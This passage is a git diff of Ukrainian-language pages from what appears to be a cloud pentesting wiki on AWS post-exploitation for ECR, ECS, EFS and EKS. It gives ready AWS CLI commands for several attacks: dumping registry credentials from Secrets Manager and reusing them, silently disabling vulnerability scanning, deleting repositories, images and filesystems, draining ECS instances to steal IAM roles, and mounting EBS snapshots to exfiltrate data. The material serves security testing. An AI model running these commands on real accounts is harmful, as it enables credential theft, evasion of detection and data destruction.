purplepanda:latest .dkr.ecr..amazonaws.com/purplepanda:latest -docker push .dkr.ecr..amazonaws.com/purplepanda:latest - -# Downloading without Docker -# List digests -aws ecr batch-get-image --repository-name level2 \ ---registry-id 653711331788 \ ---image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' - -## Download a digest -aws ecr get-download-url-for-layer \ ---repository-name level2 \ ---registry-id 653711331788 \ ---layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" -``` -Після завантаження зображень ви повинні **перевірити їх на наявність чутливої інформації**: - -{{#ref}} -https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html -{{#endref}} - -### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` - -Зловмисник з будь-якими з цих дозволів може **створити або змінити політику життєвого циклу для видалення всіх зображень у репозиторії** і потім **видалити весь репозиторій ECR**. Це призведе до втрати всіх контейнерних зображень, збережених у репозиторії. -```bash -bashCopy code# Create a JSON file with the malicious lifecycle policy -echo '{ -"rules": [ -{ -"rulePriority": 1, -"description": "Delete all images", -"selection": { -"tagStatus": "any", -"countType": "imageCountMoreThan", -"countNumber": 0 -}, -"action": { -"type": "expire" -} -} -] -}' > malicious_policy.json - -# Apply the malicious lifecycle policy to the ECR repository -aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json - -# Delete the ECR repository -aws ecr delete-repository --repository-name your-ecr-repo-name --force - -# Delete the ECR public repository -aws ecr-public delete-repository --repository-name your-ecr-repo-name --force - -# Delete multiple images from the ECR repository -aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 - -# Delete multiple images from the ECR public repository -aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md new file mode 100644 index 000000000..8735527c8 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md @@ -0,0 +1,206 @@ +# AWS - ECR Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +Для отримання додаткової інформації перегляньте + +{{#ref}} +../../aws-services/aws-ecr-enum.md +{{#endref}} + +### Login, Pull & Push +```bash +# Docker login into ecr +## For public repo (always use us-east-1) +aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/ +## For private repo +aws ecr get-login-password --profile --region | docker login --username AWS --password-stdin .dkr.ecr..amazonaws.com +## If you need to acces an image from a repo if a different account, in set the account number of the other account + +# Download +docker pull .dkr.ecr..amazonaws.com/:latest +## If you still have the error "Requested image not found" +## It might be because the tag "latest" doesn't exit +## Get valid tags with: +TOKEN=$(aws --profile ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken') +curl -i -H "Authorization: Basic $TOKEN" https://.dkr.ecr..amazonaws.com/v2//tags/list + +# Inspect the image +docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0 +docker inspect .dkr.ecr..amazonaws.com/: # Inspect the image indicating the URL + +# Upload (example uploading purplepanda with tag latest) +docker tag purplepanda:latest .dkr.ecr..amazonaws.com/purplepanda:latest +docker push .dkr.ecr..amazonaws.com/purplepanda:latest + +# Downloading without Docker +# List digests +aws ecr batch-get-image --repository-name level2 \ +--registry-id 653711331788 \ +--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' + +## Download a digest +aws ecr get-download-url-for-layer \ +--repository-name level2 \ +--registry-id 653711331788 \ +--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" +``` +Після завантаження образів слід **перевірити їх на наявність конфіденційної інформації**: + +{{#ref}} +https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html +{{#endref}} + +### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` + +Зловмисник з будь-яким із цих дозволів може **створити або змінити політику життєвого циклу, щоб видалити всі образи в репозиторії**, а потім **видалити весь репозиторій ECR**. Це призведе до втрати всіх контейнерних образів, що зберігаються в репозиторії. +```bash +# Create a JSON file with the malicious lifecycle policy +echo '{ +"rules": [ +{ +"rulePriority": 1, +"description": "Delete all images", +"selection": { +"tagStatus": "any", +"countType": "imageCountMoreThan", +"countNumber": 0 +}, +"action": { +"type": "expire" +} +} +] +}' > malicious_policy.json + +# Apply the malicious lifecycle policy to the ECR repository +aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json + +# Delete the ECR repository +aws ecr delete-repository --repository-name your-ecr-repo-name --force + +# Delete the ECR public repository +aws ecr-public delete-repository --repository-name your-ecr-repo-name --force + +# Delete multiple images from the ECR repository +aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 + +# Delete multiple images from the ECR public repository +aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 +``` +{{#include ../../../../banners/hacktricks-training.md}} + +### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC) + +Якщо ECR Pull‑Through Cache налаштовано для автентифікованих upstream registries (Docker Hub, GHCR, ACR тощо), upstream credentials зберігаються в AWS Secrets Manager з передбачуваним префіксом імені: `ecr-pullthroughcache/`. Оператори іноді надають ECR admins широкий доступ на читання до Secrets Manager, що дозволяє credential exfiltration та повторне використання поза AWS. + +Вимоги +- secretsmanager:ListSecrets +- secretsmanager:GetSecretValue + +Перелічити кандидатські секрети PTC +```bash +aws secretsmanager list-secrets \ +--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \ +--output text +``` +Dump виявлених секретів та розбір загальних полів +```bash +for s in $(aws secretsmanager list-secrets \ +--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do +aws secretsmanager get-secret-value --secret-id "$s" \ +--query SecretString --output text | tee /tmp/ptc_secret.json +jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true +jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true +done +``` +Необов'язково: перевірити leaked creds проти upstream (логін тільки для читання) +```bash +echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io +``` +Вплив +- Читання цих записів Secrets Manager дає повторно використовувані upstream облікові дані реєстру (username/password or token), якими можна зловживати поза AWS для pull приватних образів або доступу до додаткових репозиторіїв залежно від upstream permissions. + + +### Прихованість на рівні реєстру: вимкнути або понизити сканування через `ecr:PutRegistryScanningConfiguration` + +Зловмисник із правами ECR на рівні реєстру може непомітно зменшити або вимкнути автоматичне сканування вразливостей для всіх репозиторіїв, встановивши конфігурацію сканування реєстру в BASIC без правил scan-on-push. Це перешкоджає автоматичному скануванню нових push-ів образів, приховуючи вразливі або шкідливі образи. + +Requirements +- ecr:PutRegistryScanningConfiguration +- ecr:GetRegistryScanningConfiguration +- ecr:PutImageScanningConfiguration (optional, per‑repo) +- ecr:DescribeImages, ecr:DescribeImageScanFindings (перевірка) + +Registry-wide downgrade to manual (no auto scans) +```bash +REGION=us-east-1 +# Read current config (save to restore later) +aws ecr get-registry-scanning-configuration --region "$REGION" + +# Set BASIC scanning with no rules (results in MANUAL scanning only) +aws ecr put-registry-scanning-configuration \ +--region "$REGION" \ +--scan-type BASIC \ +--rules '[]' +``` +Тест із repo та image +```bash +acct=$(aws sts get-caller-identity --query Account --output text) +repo=ht-scan-stealth +aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true +aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com +printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile +docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test . +docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test + +# Verify no scan ran automatically +aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus' +# Optional: will error with ScanNotFoundException if no scan exists +aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true +``` +Необов'язково: подальше послаблення на рівні репозиторію +```bash +# Disable scan-on-push for a specific repository +aws ecr put-image-scanning-configuration \ +--region "$REGION" \ +--repository-name "$repo" \ +--image-scanning-configuration scanOnPush=false +``` +Вплив +- Нові пуші образів у реєстрі не скануються автоматично, що знижує видимість вразливого або шкідливого вмісту і затримує виявлення до ініціації ручного сканування. + + +### Пониження двигуна сканування в масштабі реєстру через `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR) + +Зменшіть якість виявлення вразливостей по всьому реєстру, переключивши BASIC scan engine з дефолтного AWS_NATIVE на застарілий двигун CLAIR. Це не вимикає сканування, але може суттєво змінити результати/покриття. Поєднайте з конфігурацією BASIC registry scanning без правил, щоб зробити сканування лише ручним. + +Вимоги +- `ecr:PutAccountSetting`, `ecr:GetAccountSetting` +- (Необов'язково) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration` + +Вплив +- Налаштування реєстру `BASIC_SCAN_TYPE_VERSION` встановлено в `CLAIR`, тому наступні BASIC сканування виконуються з пониженим двигуном. CloudTrail фіксує виклик API `PutAccountSetting`. + +Кроки +```bash +REGION=us-east-1 + +# 1) Read current value so you can restore it later +aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true + +# 2) Downgrade BASIC scan engine registry‑wide to CLAIR +aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR + +# 3) Verify the setting +aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION + +# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans) +aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true + +# 5) Restore to AWS_NATIVE when finished to avoid side effects +aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE +``` + diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md deleted file mode 100644 index 1a3822d54..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ /dev/null @@ -1,57 +0,0 @@ -# AWS - ECS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### Host IAM Roles - -В ECS **IAM роль може бути призначена завданню**, що виконується всередині контейнера. **Якщо** завдання виконується всередині **EC2** екземпляра, **EC2 екземпляр** матиме **іншу IAM** роль, прикріплену до нього.\ -Це означає, що якщо вам вдасться **зламати** екземпляр ECS, ви потенційно можете **отримати IAM роль, пов'язану з ECR та EC2 екземпляром**. Для отримання додаткової інформації про те, як отримати ці облікові дані, перегляньте: - -{{#ref}} -https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html -{{#endref}} - -> [!CAUTION] -> Зверніть увагу, що якщо EC2 екземпляр застосовує IMDSv2, [**згідно з документацією**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **відповідь на PUT запит** матиме **обмеження на кількість пересилок 1**, що ускладнює доступ до метаданих EC2 з контейнера всередині EC2 екземпляра. - -### Privesc to node to steal other containers creds & secrets - -Більше того, EC2 використовує docker для виконання завдань EC, тому якщо ви зможете втекти до вузла або **отримати доступ до сокета docker**, ви зможете **перевірити**, які **інші контейнери** запущені, і навіть **потрапити всередину них** та **вкрасти їх IAM ролі**. - -#### Making containers run in current host - -Крім того, **роль EC2 екземпляра** зазвичай матиме достатньо **дозволів** для **оновлення стану контейнерного екземпляра** EC2 екземплярів, що використовуються як вузли в кластері. Зловмисник може змінити **стан екземпляра на DRAINING**, тоді ECS **видалить всі завдання з нього**, а ті, що виконуються як **REPLICA**, будуть **виконуватися в іншому екземплярі**, потенційно всередині **екземпляра зловмисника**, щоб він міг **вкрасти їх IAM ролі** та потенційно чутливу інформацію зсередини контейнера. -```bash -aws ecs update-container-instances-state \ ---cluster --status DRAINING --container-instances -``` -Ту ж техніку можна виконати, **виключивши EC2 екземпляр з кластера**. Це потенційно менш приховано, але це **змусить завдання виконуватись на інших екземплярах:** -```bash -aws ecs deregister-container-instance \ ---cluster --container-instance --force -``` -Остання техніка для примусового повторного виконання завдань полягає в тому, щоб вказати ECS, що **завдання або контейнер були зупинені**. Існує 3 потенційні API для цього: -```bash -# Needs: ecs:SubmitTaskStateChange -aws ecs submit-task-state-change --cluster \ ---status STOPPED --reason "anything" --containers [...] - -# Needs: ecs:SubmitContainerStateChange -aws ecs submit-container-state-change ... - -# Needs: ecs:SubmitAttachmentStateChanges -aws ecs submit-attachment-state-changes ... -``` -### Вкрасти чутливу інформацію з контейнерів ECR - -EC2 екземпляр, ймовірно, також матиме дозвіл `ecr:GetAuthorizationToken`, що дозволяє йому **завантажувати зображення** (ви можете шукати чутливу інформацію в них). - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md new file mode 100644 index 000000000..d85f96040 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md @@ -0,0 +1,126 @@ +# AWS - ECS Пост-експлуатація + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +Для отримання додаткової інформації дивіться: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### Ролі IAM на хості + +У ECS **IAM роль може бути призначена task**, що виконується всередині контейнера. **Якщо** task запускається всередині **EC2** instance, то **EC2 instance** матиме прикріплену **іншу IAM** роль.\ +Це означає, що якщо вам вдасться **компрометувати** ECS instance, ви потенційно можете **одержати IAM роль, пов'язану з ECR та EC2 instance**. Для отримання додаткової інформації про те, як отримати ці credentials дивіться: + +{{#ref}} +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html +{{#endref}} + +> [!CAUTION] +> Зверніть увагу, що якщо EC2 instance вимагає IMDSv2, [**відповідно до документації**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **відповідь на PUT-запит** матиме **hop limit of 1**, що унеможливлює доступ до EC2 metadata з контейнера всередині EC2 instance. + +### Privesc to node to steal other containers creds & secrets + +Але крім того, EC2 використовує docker для запуску ECS tasks, тому якщо ви зможете здійснити escape на node або **отримати доступ до docker socket**, ви зможете **перевірити**, які **інші containers** запущені, і навіть **потрапити всередину них** та **вкрасти прикріплені IAM roles**. + +#### Запуск контейнерів на поточному хості + +Крім того, **EC2 instance role** зазвичай матиме достатньо **permissions**, щоб **update the container instance state** EC2 інстансів, що використовуються як nodes у кластері. Атакуючий може змінити **state інстансу на DRAINING**, тоді ECS **видалить усі tasks з нього**, а ті, що запускаються як **REPLICA**, будуть **запущені в іншому instance**, потенційно всередині **instance атакуючого**, щоб він міг **вкрасти їхні IAM roles** та потенційно чутливу інформацію зсередини контейнера. +```bash +aws ecs update-container-instances-state \ +--cluster --status DRAINING --container-instances +``` +Ту ж саму техніку можна виконати, **відреєструвавши EC2 instance з cluster**. Це потенційно менш приховано, але це **примусить tasks запускатися на інших instances:** +```bash +aws ecs deregister-container-instance \ +--cluster --container-instance --force +``` +Останній метод, щоб примусити повторне виконання задач — це повідомити ECS, що **завдання або контейнер було зупинено**. Існує 3 потенційні APIs для цього: +```bash +# Needs: ecs:SubmitTaskStateChange +aws ecs submit-task-state-change --cluster \ +--status STOPPED --reason "anything" --containers [...] + +# Needs: ecs:SubmitContainerStateChange +aws ecs submit-container-state-change ... + +# Needs: ecs:SubmitAttachmentStateChanges +aws ecs submit-attachment-state-changes ... +``` +### Викрасти чутливу інформацію з контейнерів ECR + +The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **завантажувати образи** (you could search for sensitive info in them). + +{{#include ../../../../banners/hacktricks-training.md}} + + + +### Підмонтувати EBS snapshot безпосередньо в ECS task (configuredAtLaunch + volumeConfigurations) + +Зловживайте нативною інтеграцією ECS з EBS (2024+), щоб змонтувати вміст існуючого EBS snapshot безпосередньо в новому ECS task/service і прочитати його дані зсередини контейнера. + +- Потрібно (мінімум): +- ecs:RegisterTaskDefinition +- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService +- iam:PassRole на: +- роль інфраструктури ECS, що використовується для томів (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`) +- Task execution/Task ролі, на які посилається task definition +- Якщо snapshot зашифровано CMK: потрібні права KMS для інфраструктурної ролі (вищезгадана керована політика AWS включає необхідні KMS-привілеї для ключів, керованих AWS). + +- Наслідок: читання довільного вмісту диска зі snapshot (наприклад, файли баз даних) зсередини контейнера та ексфільтрація через мережу/логи. + +Кроки (приклад для Fargate): + +1) Створіть роль інфраструктури ECS (якщо вона не існує) і прикріпіть керовану політику: +```bash +aws iam create-role --role-name ecsInfrastructureRole \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +aws iam attach-role-policy --role-name ecsInfrastructureRole \ +--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes +``` +2) Зареєструйте task definition з volume, позначеним як `configuredAtLaunch`, і змонтуйте його в container. Приклад (виводить секрет, потім спить): +```json +{ +"family": "ht-ebs-read", +"networkMode": "awsvpc", +"requiresCompatibilities": ["FARGATE"], +"cpu": "256", +"memory": "512", +"executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", +"containerDefinitions": [ +{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest", +"entryPoint":["/bin/sh","-c"], +"command":["cat /loot/secret.txt || true; sleep 3600"], +"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}}, +"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}] +} +], +"volumes": [ {"name":"loot", "configuredAtLaunch": true} ] +} +``` +3) Створіть або оновіть сервіс, передавши EBS snapshot через `volumeConfigurations.managedEBSVolume` (вимагає iam:PassRole для ролі infra). Приклад: +```json +{ +"cluster": "ht-ecs-ebs", +"serviceName": "ht-ebs-svc", +"taskDefinition": "ht-ebs-read", +"desiredCount": 1, +"launchType": "FARGATE", +"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}}, +"volumeConfigurations": [ +{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam:::role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}} +] +} +``` +4) Коли task запускається, контейнер може прочитати вміст snapshot за вказаним mount path (наприклад, `/loot`). Exfiltrate через мережу/логи task. + +Очищення: +```bash +aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0 +aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force +aws ecs deregister-task-definition ht-ebs-read +``` + diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md deleted file mode 100644 index 14ffb8130..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md +++ /dev/null @@ -1,46 +0,0 @@ -# AWS - EFS Постексплуатація - -{{#include ../../../banners/hacktricks-training.md}} - -## EFS - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-efs-enum.md -{{#endref}} - -### `elasticfilesystem:DeleteMountTarget` - -Зловмисник може видалити ціль монтування, що потенційно призведе до порушення доступу до файлової системи EFS для додатків і користувачів, які покладаються на цю ціль монтування. -```sql -aws efs delete-mount-target --mount-target-id -``` -**Потенційний вплив**: Порушення доступу до файлової системи та потенційна втрата даних для користувачів або додатків. - -### `elasticfilesystem:DeleteFileSystem` - -Зловмисник може видалити всю файлову систему EFS, що може призвести до втрати даних та вплинути на додатки, які покладаються на файлову систему. -```perl -aws efs delete-file-system --file-system-id -``` -**Потенційний вплив**: Втрата даних та порушення роботи для додатків, що використовують видалену файлову систему. - -### `elasticfilesystem:UpdateFileSystem` - -Зловмисник може оновити властивості файлової системи EFS, такі як режим пропускної здатності, щоб вплинути на її продуктивність або викликати виснаження ресурсів. -```sql -aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps -``` -**Потенційний вплив**: Погіршення продуктивності файлової системи або виснаження ресурсів. - -### `elasticfilesystem:CreateAccessPoint` та `elasticfilesystem:DeleteAccessPoint` - -Зловмисник може створити або видалити точки доступу, змінюючи контроль доступу та потенційно надаючи собі несанкціонований доступ до файлової системи. -```arduino -aws efs create-access-point --file-system-id --posix-user --root-directory -aws efs delete-access-point --access-point-id -``` -**Потенційний вплив**: Несанкціонований доступ до файлової системи, витік або модифікація даних. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md new file mode 100644 index 000000000..40e4e560e --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md @@ -0,0 +1,46 @@ +# AWS - EFS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## EFS + +Для отримання додаткової інформації дивіться: + +{{#ref}} +../../aws-services/aws-efs-enum.md +{{#endref}} + +### `elasticfilesystem:DeleteMountTarget` + +Зловмисник може видалити mount target, що потенційно призведе до порушення доступу до файлової системи EFS для додатків та користувачів, які покладаються на цей mount target. +```sql +aws efs delete-mount-target --mount-target-id +``` +**Потенційний вплив**: Порушення доступу до файлової системи та можливі втрати даних для користувачів або додатків. + +### `elasticfilesystem:DeleteFileSystem` + +Зловмисник може видалити цілу файлову систему EFS, що може призвести до втрати даних і вплинути на додатки, які залежать від цієї файлової системи. +```perl +aws efs delete-file-system --file-system-id +``` +**Потенційний вплив**: Втрата даних та порушення роботи сервісу для додатків, що використовують видалену файлову систему. + +### `elasticfilesystem:UpdateFileSystem` + +Атакувальник може оновити властивості файлової системи EFS, такі як режим пропускної здатності, щоб вплинути на її продуктивність або спричинити вичерпання ресурсів. +```sql +aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps +``` +**Potential Impact**: Погіршення продуктивності файлової системи або виснаження ресурсів. + +### `elasticfilesystem:CreateAccessPoint` та `elasticfilesystem:DeleteAccessPoint` + +Зловмисник може створювати або видаляти точки доступу, змінюючи контроль доступу і потенційно надаючи собі несанкціонований доступ до файлової системи. +```arduino +aws efs create-access-point --file-system-id --posix-user --root-directory +aws efs delete-access-point --access-point-id +``` +**Можливий вплив**: Несанкціонований доступ до файлової системи, розкриття або модифікація даних. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md deleted file mode 100644 index b3d29a13d..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ /dev/null @@ -1,143 +0,0 @@ -# AWS - EKS Постексплуатація - -{{#include ../../../banners/hacktricks-training.md}} - -## EKS - -Для отримання додаткової інформації перегляньте - -{{#ref}} -../aws-services/aws-eks-enum.md -{{#endref}} - -### Перерахунок кластера з консолі AWS - -Якщо у вас є дозвіл **`eks:AccessKubernetesApi`**, ви можете **переглядати об'єкти Kubernetes** через консоль AWS EKS ([Дізнайтеся більше](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). - -### Підключення до AWS Kubernetes Кластера - -- Легкий спосіб: -```bash -# Generate kubeconfig -aws eks update-kubeconfig --name aws-eks-dev -``` -- Не такий простий спосіб: - -Якщо ви можете **отримати токен** за допомогою **`aws eks get-token --name `**, але у вас немає дозволів на отримання інформації про кластер (describeCluster), ви можете **підготувати свій власний `~/.kube/config`**. Однак, маючи токен, вам все ще потрібен **url-адреса для підключення** (якщо вам вдалося отримати JWT токен з поду, читайте [тут](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) і **назва кластера**. - -У моєму випадку я не знайшов інформацію в журналах CloudWatch, але я **знайшов її в LaunchTemaplates userData** і в **EC2 машинах у userData також**. Ви можете легко побачити цю інформацію в **userData**, наприклад, у наступному прикладі (назва кластера була cluster-name): -```bash -API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com - -/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false -``` -
- -kube конфігурація -```yaml -describe-cache-parametersapiVersion: v1 -clusters: -- cluster: -certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== -server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com -name: arn:aws:eks:us-east-1::cluster/ -contexts: -- context: -cluster: arn:aws:eks:us-east-1::cluster/ -user: arn:aws:eks:us-east-1::cluster/ -name: arn:aws:eks:us-east-1::cluster/ -current-context: arn:aws:eks:us-east-1::cluster/ -kind: Config -preferences: {} -users: -- name: arn:aws:eks:us-east-1::cluster/ -user: -exec: -apiVersion: client.authentication.k8s.io/v1beta1 -args: -- --region 